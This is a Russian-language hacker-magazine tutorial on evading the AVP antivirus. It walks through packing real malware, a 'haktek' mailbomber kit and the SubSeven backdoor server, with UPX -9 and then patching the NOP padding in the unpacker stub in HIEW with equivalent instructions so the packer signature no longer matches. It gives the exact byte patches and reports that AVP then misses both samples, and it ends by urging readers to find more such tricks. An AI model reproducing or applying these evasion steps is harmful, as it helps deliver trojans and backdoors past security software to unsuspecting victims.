• Партнер

  • Продолжая цикл статей о "надувке" AVP
    изменёнными запакованными файлами, я хотел
    бы поблагодарить Dr.Golova, товарища Gray<JacK>Flint'a
    за предоставленный кусочек идеи и, в какой-то
    степени, моего преподАвателя по "банковскому
    делу". Вполне возможно, что я не "открою
    Америку" (а зачем 😉 ?) для "наших
    руководящих товарищей", не обессудьте.

    В данной статье НЕ рассказывается о
    манипуляциях с EP (aka точка входа). Да оно и не
    нужно! Сразу предупреждаю: в данной статье
    говориться ТОЛЬКО про антивирус AVP! За
    обнаружение вируса или трояна ДРУГИМ
    антивирусом я ответственности НЕ НЕСУ 😉 .
    Например, есть, по крайней мере, один "страж
    порядка", который обнаруживает мои
    хЫтроЩЩи 🙁 Естественно, тут рекламировать
    его я НЕ собираюсь.

    Итак! Что понадобится? Отвечаю:

    1-st: голова на плечах aka "соображалка"
    2-nd: HIEW 6.55
    3-d : UPX 1.20 (они "уехали" с upx.tsx.org -> ищите
    на http://wildsau.idv.uni-linz.ac.at/mfx/upx.html)
    4-th: ТО, на чем мона запустить пункты 2 и 3 😉

    ПРИМЕР 1

    haktek v1.1 - ну чего-то там "в одном FLAKоне":
    мэйлбомбер, сканнер... СТАРЬЁ! Почему-то "сидит"
    в AVP'шной базе как злостный вирус! (но пока
    что мой комп ещё жив).

    1-е - запаковка UPX:

    upx.exe -9 haktek.ex_

    опция "-9" означает, что сжатие будет
    МАКСИМАЛЬНО ВОЗМОЖНЫМ.

    2-е - "хьювирование":

    hiew32.exe haktek.ex_

    жмем F4 => DECODE

    F8 => F5 (смотрим "сводку" об X-ze и "прыгаем"
    на Entry Point)

    Видим что то типа этого:

    .004ABBC0: 60 pushad
    .004ABBC1: BE15904700 mov esi,000479015 ;" GР"
    .004ABBC6: 8DBEEB7FF8FF lea edi,[esi][0FFF87FEB]
    .004ABBCC: 57 push edi
    .004ABBCD: 83CDFF or ebp,-001 ;""
    .004ABBD0: EB10 jmps .0004ABBE2 -------- (1)
    .004ABBD2: 90 nop
    .004ABBD3: 90 nop
    .004ABBD4: 90 nop
    .004ABBD5: 90 nop
    .004ABBD6: 90 nop
    .004ABBD7: 90 nop
    .004ABBD8: 8A06 mov al,[esi]
    .004ABBDA: 46 inc esi
    .004ABBDB: 8807 mov [edi],al
    .004ABBDD: 47 inc edi
    .004ABBDE: 01DB add ebx,ebx
    .004ABBE0: 7507 jne .0004ABBE9 -------- (2)
    .004ABBE2: 8B1E mov ebx,[esi]

    Итак - это начало распаковщика. По его "внешнему
    виду" AVP и определяет ТИП. Вот то, что
    находится с 004ABBD0 по 004ABBD7, нас и интересует!
    Как известно, nop ничего не делает (no operation), но
    для чего оно тут нужно?  Ответ:
    компилятором или самим пакером
    резервируется место под код.

    Предлагаю изменить команды так (это,
    конечно, ПОЛНОЕ издевательство над
    оптимизацией, извращение, но зато полностью
    заняло свободные байты):

    .004ABBD0: 6A00 push 000 ;-> толкаем в стек 0
    .004ABBD2: 58 pop eax ;-> помещаем 0 в eax
    .004ABBD3: 91 xchg ecx,eax ;-> обмениваем содержимое eax
    на ecx и наоборот
    .004ABBD4: 85C9 test ecx,ecx ;-> равен ли ноль нолю aka zf=1
    ??? 😉
    .004ABBD6: 740A je .0004ABBE2 ;-> если да, то "прыгаем"

    Для тех, кто не понял: мы "размазали" 2-х
    байтную команду jmp на 8 (!) байт.

    Вот, в принципе, и всё! НЕ забудьте нажать F9
    для сохранения результатов.

    Включаем AVP (можно даже с режимом изб.
    сканирования) и видим, что haktek.exe В ПОРЯДКЕ!

    ПРИМЕР 2

    1 - е:

    upx.exe -9 server.ex_

    2 - е:

    hiew32.exe server.ex_

    F4 => DECODE; F8 => F5; Видим:

    .0042B74A: EB0E jmps .00042B75A
    .0042B74C: 90 nop
    .0042B74D: 90 nop
    .0042B74E: 90 nop
    .0042B74F: 90 nop
    .0042B750: 8A06 mov al,[esi]

    Нда-с, на сей раз нам дано чуть меньше "нопов"
    для развлекалочки. Ну ничего, jmp можно "размазать"
    и так:

    .0042B74A: 33C0 xor eax,eax ;->пусть eax будет равен 0
    .0042B74C: 85C0 test eax,eax ;->так равен ли eax 0, т.е. zf=1? 
    .0042B74E: 740A je .00042B75A ;-> ну если равен -
    переходим.

    Опять сохраняем...

    3-е - тест:
    Ну на этот раз Backdoor.SubSeven.22.b1 НЕ ОБНАРУЖЕН.

    ВСЁ!!!

    Последнее напутствие: в этой статье
    рассказано только об одной "оптимизации"
    анпакера, мною обнаруженной, но, наверняка,
    вы найдёте и другие. Например, пустые циклы,
    "размазки" компилятора... Ведь главное
    изменить как можно большее количество байт
    анпакера, чтобы AVP "бросил" его
    проверку. Поэтому экспериментируйте,
    фантазируйте, ищите другие пакеры...

    Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии